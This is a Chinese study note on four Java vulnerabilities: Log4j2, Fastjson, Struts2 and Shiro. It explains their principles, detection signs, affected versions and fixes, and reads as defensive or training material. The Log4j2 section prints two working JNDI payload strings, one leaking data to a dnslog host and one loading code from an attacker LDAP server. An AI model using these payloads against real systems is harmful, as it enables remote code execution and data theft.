1、log4j2

特征:

恶意请求中包含 JNDI 协议地址,如"ldap://"、"rmi://"等,被 log4j2 解析为 JNDI 查找。

原理:

在日志输出中,未对字符进行严格的过滤,执行了 JNDI 协议加载的远程恶意脚本,从而造成远程代码执行。

影响:

严重的 RCE,2.0 ≤ Apache Log4j2 < 2.15.0-rc2

攻击字段:

${jndi:ldap://${sys:java.version}.7fprj5.dnslog.cn}(手动测试)

${jndi:ldap://192.168.249.128:1389/h8sgrk}(工具生成)

(一般 payload 我们需要进行 URL 编码,传入的命令也需要进行 base64 编码后再解码)

修复:

将 Log4j 升级到已修复漏洞的版本;

如果不需要使用 JndiLookup 插件,可以将其移除或禁用;

配置 log4j2.xml 来限制日志文件的输出路径。

2、fastjson

判断:

构造恶意的 POST 请求,观察服务器返回的错误响应中是否包含了 Fastjson 相关的字样

特征:

开启了自省功能, JSON 数据中包含 @type 字段

原理:

fastjson 在解析 JSON 数据时存在自动类型转换功能(autoType),FastJson 就会自动解析@type 参数字段,利用该功能构造恶意 JSON 数据,使其在反序列化过程中触发漏洞利用链,从而实现恶意代码的执行。

注:@type、自省功能以及 autoType 指的是同一个概念,即 Fastjson 在反序列化 JSON 数据时根据 JSON 数据中的类名来自动实例化对应的 Java 对象的功能。

影响:

fastjson<=1.2.24:反序列化导致任意命令执行

fastjson< =1.2.47:构造特殊的 json 字符串绕过白名单执行任意命令

如何判断攻击成功:

POST 请求中包含了恶意构造的 JSON 数据;

服务器会返回异常的响应(如状态码为 500);

服务器会返回 Fastjson 相关的字样或错误信息;

与异常的目标 IP 地址或端口建立反向 shell 连接;

异常的恶意文件或数据传输行为。

修复:

将 Fastjson 升级到最新版本;

关闭 AutoType 功能;

在反序列化之前对 JSON 数据进行严格的验证和过滤。

3、Struts2

此漏洞源于 Struts 2 框架中的一个标签处理功能:altSyntax。在开启时,支持对标签中的 OGNL 表达式进行解析并执行。Struts 2 的 “altSyntax” 功能允许将 OGNL 表达式插入到文本字符串中并递归处理,这允许恶意用户提交一个字符串,通常通过 HTML 文本字段,其中包含一个 OGNL 表达式(如 %{1+1}),如果表单验证失败,服务器将执行该表达式。Struts2 代码执行漏洞均是 OGNL 表达式注入导致。

4、Shiro

 

介绍:

Apache Shiro是一个开源安全框架,提供身份验证、授权、密码学和会话管理。

原理:

Shiro 在用户登陆时提供可选项 RememberMe,若勾选则下次登陆会携带 cookie 中的 remember me 字段发起请求,就不需要重新输入用户名和密码,用户登录成功后会生成经过 AES 加密和 base64 编码的 cookie。攻击者可以使用 Shiro 的默认密钥构造恶意序列化对象进行编码来伪造用户的 cookie,服务端反序列化时触发漏洞,从而实现命令执行。

特征:

勾选记住密码选项后,点击登录,抓包,观察请求包中是否有 rememberme 字段,响应包中是否有 Set-cookie:rememberMe=deleteMe 字段。

利用:

只要 RememberMe 的 AES 加密密钥泄漏,无论 Shiro 什么版本都会导致反序列化漏洞,AES 是对称加密,加解密是相同的密钥,密钥是写在开源框架的代码中的,我们便可使用公开密钥进行爆破尝试。

修复:

升级Shiro到最新版本;

修改shiro的密钥,不要使用公开密钥;

WAF 拦截 Cookie 中长度过大的 RememberMe 值。

精彩内容

评论可见,请评论后查看内容,谢谢!!!评论后请刷新页面。